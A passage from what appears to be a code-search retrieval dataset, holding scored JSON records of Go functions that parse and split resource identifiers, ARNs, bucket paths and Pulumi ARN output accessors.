{\n\t\tgvr = gvrs[0]\n\t\t_, fieldsPath = splitDotNotation(inResource)\n\t}\n\n\treturn gvr, fieldsPath, nil\n}", "title": "" }, { "docid": "b6f3ed369e983f1d6d94eae7e02b32dd", "score": "0.43544167", "text": "func SplitObjectName(fullName string) (string, string) {\n\tparts := strings.SplitN(fullName, \"/\", 2)\n\tswitch len(parts) {\n\tcase 1:\n\t\treturn metav1.NamespaceDefault, parts[0]\n\tcase 2:\n\t\treturn parts[0], parts[1]\n\tdefault:\n\t\tpanic(fmt.Sprintf(\"failed to split %q\", fullName))\n\t}\n}", "title": "" }, { "docid": "84dd279a2fa20f2ee9b4d404d691cc74", "score": "0.43144614", "text": "func (o NetworkInsightsAnalysisForwardPathComponentComponentOutput) Arn() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v NetworkInsightsAnalysisForwardPathComponentComponent) *string { return v.Arn }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "256dba892f2a905e15fc591c234ea69d", "score": "0.43125913", "text": "func Parse(s string) *Path {\n\tp := &Path{}\n\n\tvar in string\n\t// Parse input string as an URN\n\tu, ok := urn.Parse(s)\n\t// Switch input\n\tif ok {\n\t\t// Grab specific string\n\t\tin = u.SS\n\t} else {\n\t\t// Assume input was <attrname>.<subattrname>\n\t\tin = \":\" + s\n\t}\n\n\t// Parse current input as attribute name\n\tmatches := attrNameExp.FindStringSubmatch(in)\n\n\t// Any valid attribute name give us always 3 matches:\n\t// * the full match\n\t// * the attribute name\n\t// * the subattribute name (empty string when not present)\n\t//\n\t// When we found an attribute name expression ...\n\tif len(matches) == 3 {\n\t\t// And primary input was an URN\n\t\tif ok {\n\t\t\t// Remove attribute name from the URN's specific string\n\t\t\tu.SS = strings.TrimSuffix(u.SS, matches[0])\n\t\t\t// Normalize current URN and store it\n\t\t\tp.URI = u.Normalize().String()\n\t\t\t// Store attribute name and subattribute name\n\t\t\tp.Name = matches[1]\n\t\t\tp.Sub = matches[2]\n\t\t} else if in == matches[0] {\n\t\t\t// Store attribute name and subattribute name also when:\n\t\t\t// original input was not an URN but full match equals our internal input,\n\t\t\t// which means it was a syntactically valid attribute name expression.\n\t\t\tp.Name = matches[1]\n\t\t\tp.Sub = matches[2]\n\t\t}\n\t}\n\n\treturn p\n}", "title": "" }, { "docid": "00784d3709e9b84e5efd5614c2feaaf5", "score": "0.42832112", "text": "func (a AssetCode) Split() (string, string) {\n\tparts := strings.Split(a.String(), string(assetCodeDelimiter))\n\tif len(parts) != 2 {\n\t\tpanic(fmt.Errorf(\"wrong asset code format: %s\", a))\n\t}\n\n\treturn parts[0], parts[1]\n}", "title": "" }, { "docid": "f7455915fe58c1b1f2b2fc69b7b93d84", "score": "0.42532018", "text": "func (o NetworkInsightsAnalysisReturnPathComponentVpcOutput) Arn() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v NetworkInsightsAnalysisReturnPathComponentVpc) *string { return v.Arn }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "25589c29aa55fb56960797ba2a8cb393", "score": "0.42506552", "text": "func (o ImageRecipeComponentOutput) ComponentArn() pulumi.StringOutput {\n\treturn o.ApplyT(func(v ImageRecipeComponent) string { return v.ComponentArn }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "544d216aefd3f2f89ca5639853680b26", "score": "0.42229807", "text": "func (r *SecurityGroup) Arn() pulumi.StringOutput {\n\treturn (pulumi.StringOutput)(r.s.State[\"arn\"])\n}", "title": "" }, { "docid": "860d2e66b7ee962448470db1ba13ef2b", "score": "0.4218725", "text": "func normalizeRoleARN(roleARN, roleARNPrefix string) (string, error) {\n\tparts := strings.Split(roleARN, \"/\")\n\tif len(parts) < 2 {\n\t\treturn \"\", fmt.Errorf(\"invalid roleARN: %s\", roleARN)\n\t}\n\n\tremainingChars := roleSessionNameMaxSize\n\n\taccountID := strings.TrimPrefix(parts[0], roleARNPrefix)\n\taccountID = strings.TrimSuffix(accountID, roleARNSuffix)\n\n\tremainingChars -= len(accountID)\n\n\treturn accountID + normalizePath(parts[1:], remainingChars), nil\n}", "title": "" }, { "docid": "7a35b681f76869fe833158ada4d76d25", "score": "0.42067653", "text": "func (o GetNetworkInsightsAnalysisReturnPathComponentVpcOutput) Arn() pulumi.StringOutput {\n\treturn o.ApplyT(func(v GetNetworkInsightsAnalysisReturnPathComponentVpc) string { return v.Arn }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "0f0c9b91441a275c916eb806065989fa", "score": "0.41746596", "text": "func buildIAMARN(partitionID, accountID, resourceType, resource string) string {\n\tif strings.HasPrefix(resource, \"/\") {\n\t\treturn fmt.Sprintf(\"arn:%s:iam::%s:%s%s\", partitionID, accountID, resourceType, resource)\n\t} else {\n\t\treturn fmt.Sprintf(\"arn:%s:iam::%s:%s/%s\", partitionID, accountID, resourceType, resource)\n\t}\n}", "title": "" }, { "docid": "9d66ebec6782b9c08618c06a6859a5e7", "score": "0.41737974", "text": "func (o GetImageRecipeComponentOutput) ComponentArn() pulumi.StringOutput {\n\treturn o.ApplyT(func(v GetImageRecipeComponent) string { return v.ComponentArn }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "3484980f81849ba8299cacd542e61933", "score": "0.41735843", "text": "func splitGeneratedComponent(comp string) (module string, lib string) {\n\tsplit := strings.Split(comp, \"/\")\n\n\tif len(split) < 2 {\n\t\tpanic(errors.New(\"Generated component \" + comp + \" does not specify module and lib\"))\n\t}\n\n\treturn split[0], strings.Join(split[1:], \"/\")\n}", "title": "" }, { "docid": "116e689a9fdaefb90a8d0d9d381b4e38", "score": "0.4159145", "text": "func (o GetNetworkInsightsAnalysisForwardPathComponentComponentOutput) Arn() pulumi.StringOutput {\n\treturn o.ApplyT(func(v GetNetworkInsightsAnalysisForwardPathComponentComponent) string { return v.Arn }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "22bccbbd74213d0ad077ef6f06da87bb", "score": "0.41382712", "text": "func ParseResourceTag(tag string) ResourceTags {\n\tresult := ResourceTags{}\n\tfor _, elem := range strings.Split(tag, \",\") {\n\t\tkv := strings.Split(elem, \"=\")\n\t\tif len(kv) != 2 {\n\t\t\tklog.Fatalf(\"// +resource: tags must be key value pairs. Expected \"+\n\t\t\t\t\"keys [path=<subresourcepath>] \"+\n\t\t\t\t\"Got string: [%s]\", tag)\n\t\t}\n\t\tvalue := kv[1]\n\t\tswitch kv[0] {\n\t\tcase \"rest\":\n\t\t\tresult.REST = value\n\t\tcase \"path\":\n\t\t\tresult.Resource = value\n\t\tcase \"strategy\":\n\t\t\tresult.Strategy = value\n\t\tcase \"shortname\":\n\t\t\tresult.ShortName = value\n\t\t}\n\t}\n\treturn result\n}", "title": "" }, { "docid": "428ec487066e4f4237e8ed988d362c62", "score": "0.41359645", "text": "func ParseResourceID(id string) (*ResourceID, error) {\n\t// example: https://foo.dfs.core.windows.net/Bar\n\tif id == \"\" {\n\t\treturn nil, fmt.Errorf(\"`id` was empty\")\n\t}\n\n\turi, err := url.Parse(id)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"Error parsing ID as a URL: %s\", err)\n\t}\n\n\taccountName, err := endpoints.GetAccountNameFromEndpoint(uri.Host)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"Error parsing Account Name: %s\", err)\n\t}\n\n\tfileSystemAndPath := strings.TrimPrefix(uri.Path, \"/\")\n\tseparatorIndex := strings.Index(fileSystemAndPath, \"/\")\n\tvar fileSystem, path string\n\tif separatorIndex < 0 {\n\t\tfileSystem = fileSystemAndPath\n\t\tpath = \"\"\n\t} else {\n\t\tfileSystem = fileSystemAndPath[0:separatorIndex]\n\t\tpath = fileSystemAndPath[separatorIndex+1:]\n\t}\n\treturn &ResourceID{\n\t\tAccountName: *accountName,\n\t\tFileSystemName: fileSystem,\n\t\tPath: path,\n\t}, nil\n}", "title": "" }, { "docid": "967e5a481e7145d60565f724beba3e0e", "score": "0.4127584", "text": "func (o CapacityProviderOutput) Arn() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *CapacityProvider) pulumi.StringOutput { return v.Arn }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "7a330cd53ccd9151ab1f97bff185b8e7", "score": "0.40928233", "text": "func (o ContainerRecipeComponentOutput) ComponentArn() pulumi.StringOutput {\n\treturn o.ApplyT(func(v ContainerRecipeComponent) string { return v.ComponentArn }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "7bf8bd1407e73abcc89927c1a3739ab0", "score": "0.40925255", "text": "func (o NetworkInsightsAnalysisReturnPathComponentSubnetOutput) Arn() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v NetworkInsightsAnalysisReturnPathComponentSubnet) *string { return v.Arn }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "703c862fd21275a075776142883a2dfa", "score": "0.40792385", "text": "func ParseResources(s string) (Resources, error) {\n\tvar parts []string\n\tinRange := false\n\tvar sb strings.Builder\n\tfor _, c := range s {\n\t\tif inRange {\n\t\t\tif c == ']' {\n\t\t\t\tinRange = false\n\t\t\t}\n\t\t} else {\n\t\t\tif c == '[' {\n\t\t\t\tinRange = true\n\t\t\t} else if c == ',' {\n\t\t\t\tparts = append(parts, sb.String())\n\t\t\t\tsb.Reset()\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\t\tsb.WriteRune(c)\n\t}\n\tparts = append(parts, sb.String())\n\tif len(parts) != 3 {\n\t\treturn Resources{}, fmt.Errorf(\"invalid resources: %q\", s)\n\t}\n\tvcpu, err := parseResource(\"vcpu\", parts[0])\n\tif err != nil {\n\t\treturn Resources{}, err\n\t}\n\tmemory, err := parseResource(\"memory\", parts[1])\n\tif err != nil {\n\t\treturn Resources{}, err\n\t}\n\tdisk, err := parseResource(\"disk\", parts[2])\n\tif err != nil {\n\t\treturn Resources{}, err\n\t}\n\treturn Resources{Vcpu: vcpu, Memory: memory, Disk: disk}, nil\n}", "title": "" }, { "docid": "513372fdc734019add15160e7c758b6c", "score": "0.4065944", "text": "func (o GetContainerRecipeComponentOutput) ComponentArn() pulumi.StringOutput {\n\treturn o.ApplyT(func(v GetContainerRecipeComponent) string { return v.ComponentArn }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "8af6b8e4e5337bbf19dd10fb75312fbc", "score": "0.40602043", "text": "func splitResourceName(name string) (string, string, string) {\n\tparts := strings.Split(name, \"/\")\n\n\t// pick the interesting part\n\tversionNumber := parts[0]\n\tpath := strings.Join(parts[1:len(parts)-1], \"/\")\n\tfileName := parts[len(parts)-1]\n\treturn versionNumber, path, fileName\n}", "title": "" }, { "docid": "af38535804ca36f6eb24cc0fe9fb58a1", "score": "0.40084195", "text": "func (o LookupVpcEndpointServiceResultOutput) Arn() pulumi.StringOutput {\n\treturn o.ApplyT(func(v LookupVpcEndpointServiceResult) string { return v.Arn }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "e4a1d32b41a493a7800401bb7c54b0a7", "score": "0.40073428", "text": "func (o GetNetworkInsightsAnalysisReturnPathComponentSubnetOutput) Arn() pulumi.StringOutput {\n\treturn o.ApplyT(func(v GetNetworkInsightsAnalysisReturnPathComponentSubnet) string { return v.Arn }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "a4dcd5d308c4d10b521ac3d03d593d45", "score": "0.39964285", "text": "func ParseServiceArn(s string) (*ServiceArn, error) {\n\tparsedArn, err := arn.Parse(s)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif parsedArn.Service != EndpointsID {\n\t\treturn nil, fmt.Errorf(\"expected an ECS arn, but got %q\", s)\n\t}\n\tresources := strings.Split(parsedArn.Resource, \"/\")\n\tif len(resources) != 3 {\n\t\treturn nil, fmt.Errorf(\"cannot parse resource for ARN %q\", s)\n\t}\n\tif resources[0] != \"service\" {\n\t\treturn nil, fmt.Errorf(\"expect an ECS service: got %q\", s)\n\t}\n\treturn &ServiceArn{\n\t\taccountID: parsedArn.AccountID,\n\t\tpartition: parsedArn.Partition,\n\t\tregion: parsedArn.Region,\n\t\tname: resources[2],\n\t\tclusterName: resources[1],\n\t}, nil\n}", "title": "" }, { "docid": "118279b2dbafb7a3101e067c4f334186", "score": "0.39877743", "text": "func (o GetNetworkInsightsAnalysisReturnPathComponentDestinationVpcOutput) Arn() pulumi.StringOutput {\n\treturn o.ApplyT(func(v GetNetworkInsightsAnalysisReturnPathComponentDestinationVpc) string { return v.Arn }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "0ee4613c4d2001713ec009ba47da14b6", "score": "0.39850998", "text": "func (o VpcIpamResourceDiscoveryOutput) Arn() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *VpcIpamResourceDiscovery) pulumi.StringOutput { return v.Arn }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "d1adb20e8b75ffe8f0bc2448cda29b87", "score": "0.39664584", "text": "func (q *qualified) Split() (Ident, Identifier) {\n\tif q.Empty() {\n\t\treturn Ident{}, empty\n\t}\n\tif q.namespace.Empty() {\n\t\treturn Ident{atom: q.terminal}, empty\n\t}\n\tvar nextArray arrayKey\n\tcopy(nextArray[:], q.namespace.key[1:])\n\tfor idx, atm := range nextArray {\n\t\tif atm == nil {\n\t\t\tnextArray[idx] = q.terminal\n\t\t\treturn Ident{atom: q.namespace.key[0]}, arrays.Get(nextArray)\n\t\t}\n\t}\n\tpanic(\"shift did not leave a nil behind\")\n}", "title": "" }, { "docid": "59e89584875fbac03d53387c56cbb392", "score": "0.39662945", "text": "func (o MultiRegionAccessPointOutput) Arn() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *MultiRegionAccessPoint) pulumi.StringOutput { return v.Arn }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "97c70cb313298192547141f020828fa4", "score": "0.3965568", "text": "func (o NetworkInsightsAnalysisAlternatePathHintOutput) ComponentArn() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v NetworkInsightsAnalysisAlternatePathHint) *string { return v.ComponentArn }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "494bc3d318bb03ba9fcf0c52f935b53c", "score": "0.39597714", "text": "func (o SecurityProfileOutput) Arn() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *SecurityProfile) pulumi.StringOutput { return v.Arn }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "7ec9223e4615d40ae13df5755534160b", "score": "0.39593726", "text": "func (o NetworkInsightsAnalysisReturnPathComponentDestinationVpcOutput) Arn() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v NetworkInsightsAnalysisReturnPathComponentDestinationVpc) *string { return v.Arn }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "89335aec1be36401d6a871e34926c6ba", "score": "0.39573532", "text": "func FromRNA(in string) (out []string, err error) {\n\tif len(in) == 0 {\n\t\treturn\n\t}\n\n\tn, errCondon := FromCodon(in)\n\tswitch errCondon {\n\tcase ErrInvalidBase:\n\t\terr = errCondon\n\t\treturn\n\tcase ErrStop:\n\t\treturn\n\t}\n\n\tns, err := FromRNA(in[3:])\n\tout = append([]string{n}, ns...)\n\treturn\n}", "title": "" }, { "docid": "78b351510a24970467008dfa419bf12d", "score": "0.39370808", "text": "func (o NetworkInsightsAnalysisReturnPathComponentAdditionalDetailComponentOutput) Arn() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v NetworkInsightsAnalysisReturnPathComponentAdditionalDetailComponent) *string { return v.Arn }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "8d2faf725014e1699b03fb20500dd1e1", "score": "0.39346558", "text": "func (o TagOutput) ResourceArn() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *Tag) pulumi.StringOutput { return v.ResourceArn }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "cfa150ad0117bbe303a5cafe1f5a280a", "score": "0.3931161", "text": "func splitPathToParts(p string) (pp string, rest []nodePart, num, stars int) {\n\tfor i, last := 0, 0; i < len(p); i++ {\n\t\tc, isEnd := p[i], i == len(p)-1\n\t\tif isEnd {\n\t\t\ti++\n\t\t}\n\t\tif c == '/' || isEnd {\n\t\t\tif len(pp) > 0 {\n\t\t\t\tn := p[last+1 : i]\n\t\t\t\tif ln := len(n); ln > 0 {\n\t\t\t\t\tswitch c = n[0]; c {\n\t\t\t\t\tcase ':', '*':\n\t\t\t\t\t\tif ln > 1 {\n\t\t\t\t\t\t\trest = append(rest, nodePart{n[1:], c})\n\t\t\t\t\t\t}\n\t\t\t\t\tdefault:\n\t\t\t\t\t\trest = append(rest, nodePart{n, 0})\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tlast = i\n\t\t} else if c == '*' {\n\t\t\tnum++\n\t\t\tstars++\n\t\t\tif len(pp) == 0 {\n\t\t\t\tpp = p[:i]\n\t\t\t}\n\t\t} else if c == ':' {\n\t\t\tnum++\n\t\t\tif len(pp) == 0 {\n\t\t\t\tpp = p[:i]\n\t\t\t}\n\t\t}\n\t}\n\tif len(pp) == 0 {\n\t\tpp = p\n\t}\n\treturn\n}", "title": "" }, { "docid": "ca43d2732096a4bf6d2e1e9bbe1336da", "score": "0.39206496", "text": "func SplitIdentifier(input string) (string, string, error) {\n\tif err := ValidateIdentifier(input); err != nil {\n\t\treturn \"\", \"\", err\n\t}\n\tpathIdentifier := strings.Split(input, \".\")\n\n\tprotoPackage := strings.Join(pathIdentifier[0:len(pathIdentifier)-1], \".\")\n\treturn protoPackage, pathIdentifier[len(pathIdentifier)-1], nil\n}", "title": "" }, { "docid": "504b3d9f713c9ae6b9dc1855a9bf0ffa", "score": "0.39179924", "text": "func splitNamespacedName(nameStr string) types.NamespacedName {\n\tsplitPoint := strings.IndexRune(nameStr, types.Separator)\n\tif splitPoint == -1 {\n\t\treturn types.NamespacedName{Name: nameStr}\n\t}\n\treturn types.NamespacedName{Namespace: nameStr[:splitPoint], Name: nameStr[splitPoint+1:]}\n}", "title": "" }, { "docid": "b01956a860c61f2fe87f047af7c9ef28", "score": "0.39114708", "text": "func parseResourceID(resIDStr string) (*v1alpha1.AzureResourceID, error) {\n\tresID := &v1alpha1.AzureResourceID{}\n\n\terr := json.Unmarshal([]byte(strconv.Quote(resIDStr)), resID)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"deserializing resource ID string: %w\", err)\n\t}\n\n\treturn resID, nil\n}", "title": "" }, { "docid": "504a999411d2738688b1b7a95d11a645", "score": "0.39081472", "text": "func getIDFromKeyARN(arn string) string {\n\tif ss := strings.Split(arn, \"/\"); len(ss) > 0 {\n\t\tarn = ss[len(ss)-1]\n\t}\n\treturn arn\n}", "title": "" }, { "docid": "f9b8b85a497ca287fdf3388a79865c3e", "score": "0.39013818", "text": "func (o AccessPointOutput) Arn() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *AccessPoint) pulumi.StringOutput { return v.Arn }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "922dc973588e8c39cd538341d7bf2b4e", "score": "0.3898091", "text": "func (o NetworkInsightsAnalysisExplanationSecurityGroupOutput) Arn() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v NetworkInsightsAnalysisExplanationSecurityGroup) *string { return v.Arn }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "1909c8ea539f0c07958bb59240682704", "score": "0.38972273", "text": "func (b BuilderID) Split() (backend, backendGroup, builderName string, err error) {\n\ttoks := strings.SplitN(string(b), \"/\", 3)\n\tif len(toks) != 3 {\n\t\terr = errors.Reason(\"bad BuilderID: not enough tokens: %q\", b).\n\t\t\tTag(grpcutil.InvalidArgumentTag).Err()\n\t\treturn\n\t}\n\tbackend, backendGroup, builderName = toks[0], toks[1], toks[2]\n\tswitch {\n\tcase backend != \"buildbucket\":\n\t\terr = errors.Reason(\"bad BuilderID: unknown backend %q\", backend).\n\t\t\tTag(grpcutil.InvalidArgumentTag).Err()\n\tcase backendGroup == \"\":\n\t\terr = errors.New(\"bad BuilderID: empty backendGroup\", grpcutil.InvalidArgumentTag)\n\tcase builderName == \"\":\n\t\terr = errors.New(\"bad BuilderID: empty builderName\", grpcutil.InvalidArgumentTag)\n\t}\n\treturn\n}", "title": "" }, { "docid": "39f74087dc45a6c27975e8a9eb9b3f27", "score": "0.38946977", "text": "func (o NetworkInsightsAnalysisReturnPathComponentSourceVpcOutput) Arn() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v NetworkInsightsAnalysisReturnPathComponentSourceVpc) *string { return v.Arn }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "5fa30e44e2f4e61ae4f73803eabb617a", "score": "0.38917097", "text": "func (o NetworkInsightsAnalysisForwardPathComponentVpcOutput) Arn() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v NetworkInsightsAnalysisForwardPathComponentVpc) *string { return v.Arn }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "29d9af943e5a9e710234f37864e65abb", "score": "0.3891661", "text": "func (o ApplicationApplicationConfigurationSqlApplicationConfigurationInputInputProcessingConfigurationInputLambdaProcessorOutput) ResourceArn() pulumi.StringOutput {\n\treturn o.ApplyT(func(v ApplicationApplicationConfigurationSqlApplicationConfigurationInputInputProcessingConfigurationInputLambdaProcessor) string {\n\t\treturn v.ResourceArn\n\t}).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "14e4b600f23f229ce3bbbad759c665ec", "score": "0.38893208", "text": "func (o ServiceOutput) Arn() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *Service) pulumi.StringOutput { return v.Arn }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "8a171af9afd431566478b832f9e6bfe8", "score": "0.38830206", "text": "func (o GetNetworkInsightsAnalysisReturnPathComponentSourceVpcOutput) Arn() pulumi.StringOutput {\n\treturn o.ApplyT(func(v GetNetworkInsightsAnalysisReturnPathComponentSourceVpc) string { return v.Arn }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "c9acc891859780812d689fe7646b2e59", "score": "0.38763762", "text": "func (p *Pair) FromString(pairString string) (err error) {\n\tstrSplit := strings.Split(pairString, \"/\")\n\n\tif p.AssetWant, err = AssetFromString(strSplit[0]); err != nil {\n\t\treturn\n\t}\n\n\tif p.AssetHave, err = AssetFromString(strSplit[1]); err != nil {\n\t\treturn\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "f113af03376e20254f32ad1113c2d047", "score": "0.3874892", "text": "func (o SecretVersionOutput) Arn() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *SecretVersion) pulumi.StringOutput { return v.Arn }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "ec7ed380c70ef149bb6ae3d10fe518fe", "score": "0.3869057", "text": "func bucketParts(bucket string) (bucketname, path string) {\n\ts3Prefix := \"s3://\"\n\tif strings.HasPrefix(bucket, s3Prefix) {\n\t\tbucket = strings.Replace(bucket, s3Prefix, \"\", 1)\n\t}\n\tparts := strings.SplitN(bucket, \"/\", 2)\n\n\tif len(parts) <= 1 {\n\t\tpath = \"\"\n\t} else {\n\t\tpath = parts[1]\n\t}\n\treturn parts[0], path\n}", "title": "" }, { "docid": "87963259a3c772d7378fd892e28957dc", "score": "0.38581765", "text": "func (o GetNetworkInsightsAnalysisForwardPathComponentVpcOutput) Arn() pulumi.StringOutput {\n\treturn o.ApplyT(func(v GetNetworkInsightsAnalysisForwardPathComponentVpc) string { return v.Arn }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "2ef277ef7b0b81d7867f9e22663c509a", "score": "0.38577652", "text": "func (o GetNetworkInsightsAnalysisReturnPathComponentAdditionalDetailComponentOutput) Arn() pulumi.StringOutput {\n\treturn o.ApplyT(func(v GetNetworkInsightsAnalysisReturnPathComponentAdditionalDetailComponent) string { return v.Arn }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "916dfe12f5ede174797937c841d805a5", "score": "0.38556078", "text": "func (o SchedulingPolicyOutput) Arn() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *SchedulingPolicy) pulumi.StringOutput { return v.Arn }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "4037e5e822ea766a42c7123c216f52a8", "score": "0.3854243", "text": "func (o NetworkInsightsAnalysisForwardPathComponentSubnetOutput) Arn() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v NetworkInsightsAnalysisForwardPathComponentSubnet) *string { return v.Arn }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "ee634c07313a52d1552b024a3d3c53f6", "score": "0.38409212", "text": "func (o AuthorizerOutput) Arn() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *Authorizer) pulumi.StringOutput { return v.Arn }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "57b330f9c4b89f2c548a949fbbdc0ac4", "score": "0.38396433", "text": "func GetAclFromString(s string) (string, api.Ownership_AccessType, error) {\n\tparts := strings.Split(s, \":\")\n\n\taccess := api.Ownership_Read\n\tif len(parts) > 1 {\n\t\t// only validate if the user has provided an access type.\n\t\t// if they do not provide an access type, default to read\n\t\tswitch parts[1] {\n\t\tcase \"w\":\n\t\t\taccess = api.Ownership_Write\n\t\tcase \"r\":\n\t\t\taccess = api.Ownership_Read\n\t\tcase \"a\":\n\t\t\taccess = api.Ownership_Admin\n\t\tdefault:\n\t\t\treturn \"\", access,\n\t\t\t\tfmt.Errorf(\"Invalid access type: %s. Must be r (read), w (write), or a (admin).\", parts[1])\n\t\t}\n\t}\n\treturn parts[0], access, nil\n}", "title": "" }, { "docid": "b84edaf143b4805fc75eaa3ec6afc79b", "score": "0.38216916", "text": "func FromString(segstr string) Segment {\n\tfields := strings.Fields(segstr)\n\tlength := len(fields) - 1\n\tiastrs := make([]string, length)\n\tidstrs := make([]string, length)\n\tfor i := 0; i < length; i++ {\n\t\tif i%2 == 0 {\n\t\t\tiastrs[i] = fields[i]\n\t\t\tids := strings.Split(fields[i+1], \">\")\n\t\t\tidstrs[i], idstrs[i+1] = ids[0], ids[1]\n\t\t} else {\n\t\t\tiastrs[i] = fields[i+1]\n\t\t}\n\t}\n\tinterfaces := make([]snet.PathInterface, length)\n\tvar sb strings.Builder\n\tfor i := 0; i < length; i++ {\n\t\tia, err := addr.IAFromString(iastrs[i])\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t\tid, err := strconv.Atoi(idstrs[i])\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t\tinterfaces[i] = snet.PathInterface{ID: common.IFIDType(id), IA: ia}\n\t\tsb.WriteString(fmt.Sprintf(\" %s#%d \", ia, common.IFIDType(id)))\n\t}\n\treturn Literal{Interfaces: interfaces, fingerprint: sb.String()}\n}", "title": "" }, { "docid": "40ed26e4b742dc11f73b8f99cdf65c71", "score": "0.3809897", "text": "func parseBucketObj(s string) (string, string, error) {\n\ts = strings.TrimPrefix(s, \"gs://\")\n\n\tss := strings.SplitN(s, \"/\", 2)\n\tif len(ss) < 2 {\n\t\treturn \"\", \"\", fmt.Errorf(\"does not match bucket/object format: %s\", s)\n\t}\n\n\treturn ss[0], ss[1], nil\n}", "title": "" }, { "docid": "2372101406be6b8e5dce9faa0c7384b1", "score": "0.38039672", "text": "func parseBucketObj(s string) (string, string, error) {\n\ts = strings.TrimPrefix(s, \"gs://\")\n\n\tss := strings.SplitN(s, \"/\", 2)\n\tif len(ss) < 2 {\n\t\treturn \"\", \"\", errors.Errorf(\"does not match bucket/object format: %s\", s)\n\t}\n\n\treturn ss[0], ss[1], nil\n}", "title": "" }, { "docid": "a02449804a2db1bf25135f3831c2568b", "score": "0.38011062", "text": "func (o LookupCertificateAuthorityResultOutput) Arn() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v LookupCertificateAuthorityResult) *string { return v.Arn }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "c6c26bcf9cf67d35538f246d00915d2f", "score": "0.3797657", "text": "func ParseObjectReplicationPoliciesID(input string) (*ObjectReplicationPoliciesId, error) {\n\tparser := resourceids.NewParserFromResourceIdType(ObjectReplicationPoliciesId{})\n\tparsed, err := parser.Parse(input, false)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"parsing %q: %+v\", input, err)\n\t}\n\n\tvar ok bool\n\tid := ObjectReplicationPoliciesId{}\n\n\tif id.SubscriptionId, ok = parsed.Parsed[\"subscriptionId\"]; !ok {\n\t\treturn nil, fmt.Errorf(\"the segment 'subscriptionId' was not found in the resource id %q\", input)\n\t}\n\n\tif id.ResourceGroupName, ok = parsed.Parsed[\"resourceGroupName\"]; !ok {\n\t\treturn nil, fmt.Errorf(\"the segment 'resourceGroupName' was not found in the resource id %q\", input)\n\t}\n\n\tif id.AccountName, ok = parsed.Parsed[\"accountName\"]; !ok {\n\t\treturn nil, fmt.Errorf(\"the segment 'accountName' was not found in the resource id %q\", input)\n\t}\n\n\tif id.ObjectReplicationPolicyId, ok = parsed.Parsed[\"objectReplicationPolicyId\"]; !ok {\n\t\treturn nil, fmt.Errorf(\"the segment 'objectReplicationPolicyId' was not found in the resource id %q\", input)\n\t}\n\n\treturn &id, nil\n}", "title": "" }, { "docid": "0f0168c4c71ee0dc659eca0c2ce6141e", "score": "0.37972263", "text": "func parseSegmentSelector(structTag string) segmentSelector {\n\tsplitted := strings.SplitN(structTag, \"+\", 2)\n\n\tpathEnd := strings.LastIndexByte(splitted[0], '/')\n\tpath := \"\"\n\ttag := splitted[0]\n\tif pathEnd >= 0 {\n\t\tpath = splitted[0][:pathEnd+1]\n\t\ttag = splitted[0][pathEnd+1:]\n\t}\n\n\tvar params []segmentSelectorParam\n\tvar value valueComponent\n\n\tif len(splitted) == 2 {\n\t\tparams, value = parseParamsAndValue(splitted[1])\n\t}\n\n\treturn 